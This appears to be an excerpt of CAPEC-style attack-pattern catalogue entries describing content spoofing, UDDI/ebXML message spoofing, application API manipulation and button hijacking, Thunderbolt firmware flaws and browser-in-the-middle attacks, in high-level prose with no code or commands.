An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.
CAPEC-218: Spoofing of UDDI/ebXML Messages
An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
CAPEC-701: Browser in the Middle (BiTM)
An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.